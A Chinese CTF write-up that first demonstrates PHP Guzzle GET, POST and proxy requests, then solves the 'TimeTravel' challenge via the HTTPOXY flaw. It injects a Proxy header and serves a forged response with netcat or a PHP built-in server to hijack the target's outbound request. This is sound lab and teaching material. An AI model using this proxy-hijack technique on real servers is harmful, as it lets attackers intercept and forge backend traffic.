900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > [VN 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)

[VN 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)

时间:2020-09-20 14:12:39

相关推荐

[VN 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)

文章目录

0X01 Guzzle简介0X01 Guzzle实验【GET请求】【POST请求】【设置代理IP】 0x03 TimeTravel题目复现

0X01 Guzzle简介

Guzzle是一个使得利用PHP实现发送HTTP 请求,方便和web service集成的PHP 客户端模拟组件。

Guzzle介绍

0X01 Guzzle实验

首先下载Guzzle

然后cd到网站根目录,执行Composer命令下载Guzzle:(Linux环境)

cd /var/www/htmlcomposer require guzzlehttp/guzzle

因为报错composer could not be fully loaded,重新设置composer packagist,命令如下:

composer config -g repo.packagist composer /composer/

下载完成后会生成一个vender文件夹:

在vender同级目录新建了一个guzzle.php来写例子。服务器上hello.php的内容为

<?phpecho "Hello ".$_REQUEST["name"]."\n"?>

【GET请求】

<?phprequire __DIR__ . '/vendor/autoload.php';use GuzzleHttp\Client;$client = new Client();$response = $client->get('http://121.196.196.190/hello.php?name=ink');$content = $response->getBody();echo $content;

【POST请求】

<?php require __DIR__ . '/vendor/autoload.php';use GuzzleHttp\Client;$client = new Client();//构造url$url = 'http://121.196.196.190/hello.php';//post请求$res = $client->request('POST', $url, ['form_params' => ['name'=>'qaq']]);$content = $res->getBody();echo $content;?>

【设置代理IP】

服务器上代码,作用为输出用户ip

<?phperror_reporting (E_ERROR | E_WARNING | E_PARSE);if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){$ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];}elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];}elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];}elseif (getenv("HTTP_X_FORWARDED_FOR")){$ip = getenv("HTTP_X_FORWARDED_FOR");}elseif (getenv("HTTP_CLIENT_IP")){$ip = getenv("HTTP_CLIENT_IP");}elseif (getenv("REMOTE_ADDR")){$ip = getenv("REMOTE_ADDR");}else{$ip = "Unknown";}echo $ip;?>

这部分在在windows上面实验,因为有vpn好测试代理结果

Composer 的安装

Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。

需要注意的是你需要开启 openssl 配置,我们打开 php 目录下的 php.ini,将extension=php_openssl.dll前面的分号去掉就可以了。

安装成功后,我们可以通过命令窗口(cmd) 输入composer --version命令来查看是否安装成功:

接下来我们可以更改阿里云 Composer 全量镜像:

composer config -g repo.packagist composer /composer/

然后下载

cd D:\phpStudy\WWW\Vulnerability\GuzzleHttp_Clientcomposer require guzzlehttp/guzzle

开始测试代理功能,首先是没有代理的

<?php require './vendor/autoload.php';//实例化客户端$client = new GuzzleHttp\Client(['headers'=>["Accept"=>"*/*","Accept-Encoding"=>"gzip, deflate","User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/0101 Firefox/81.0"]]); //构造url$url = 'http://121.196.196.190/hello.php';//设置代理请求$res = $client->request('GET', $url);//返回状态码$content = $res->getBody();echo $content;?>

这时候ip为117.136.67.147

然后再把vpn打开,端口为1080

给代码加上代理'proxy' => '127.0.0.1:1080'

<?php require './vendor/autoload.php';//实例化客户端$client = new GuzzleHttp\Client(['headers'=>["Accept"=>"*/*","Accept-Encoding"=>"gzip, deflate","User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/0101 Firefox/81.0"]]); //构造url$url = 'http://121.196.196.190/hello.php';//设置代理请求$res = $client->request('GET', $url, ['proxy' => '127.0.0.1:1080']);//返回状态码$content = $res->getBody();echo $content;?>

代理成功

0x03 TimeTravel题目复现

漏洞说明

HTTPOXY漏洞说明

漏洞原因

在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…

方法一

创建一个1.txt

HTTP/1.1 200 OKServer: nginx/1.14.2Date: Sat, 29 Feb 05:27:31 GMTContent-Type: text/html; charset=UTF-8Connection: Keep-aliveContent-Length: 16{"success":true}

vps上执行nc -lvp 8888 < 1.txt

burp上添加一个Proxy头

返回包中得到flag

方法二,创建一个临时服务器

php的

mkdir apicd api/echo '{"success":true}'>eligiblephp -S 0:7777 -t ../

成功拿到flag

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。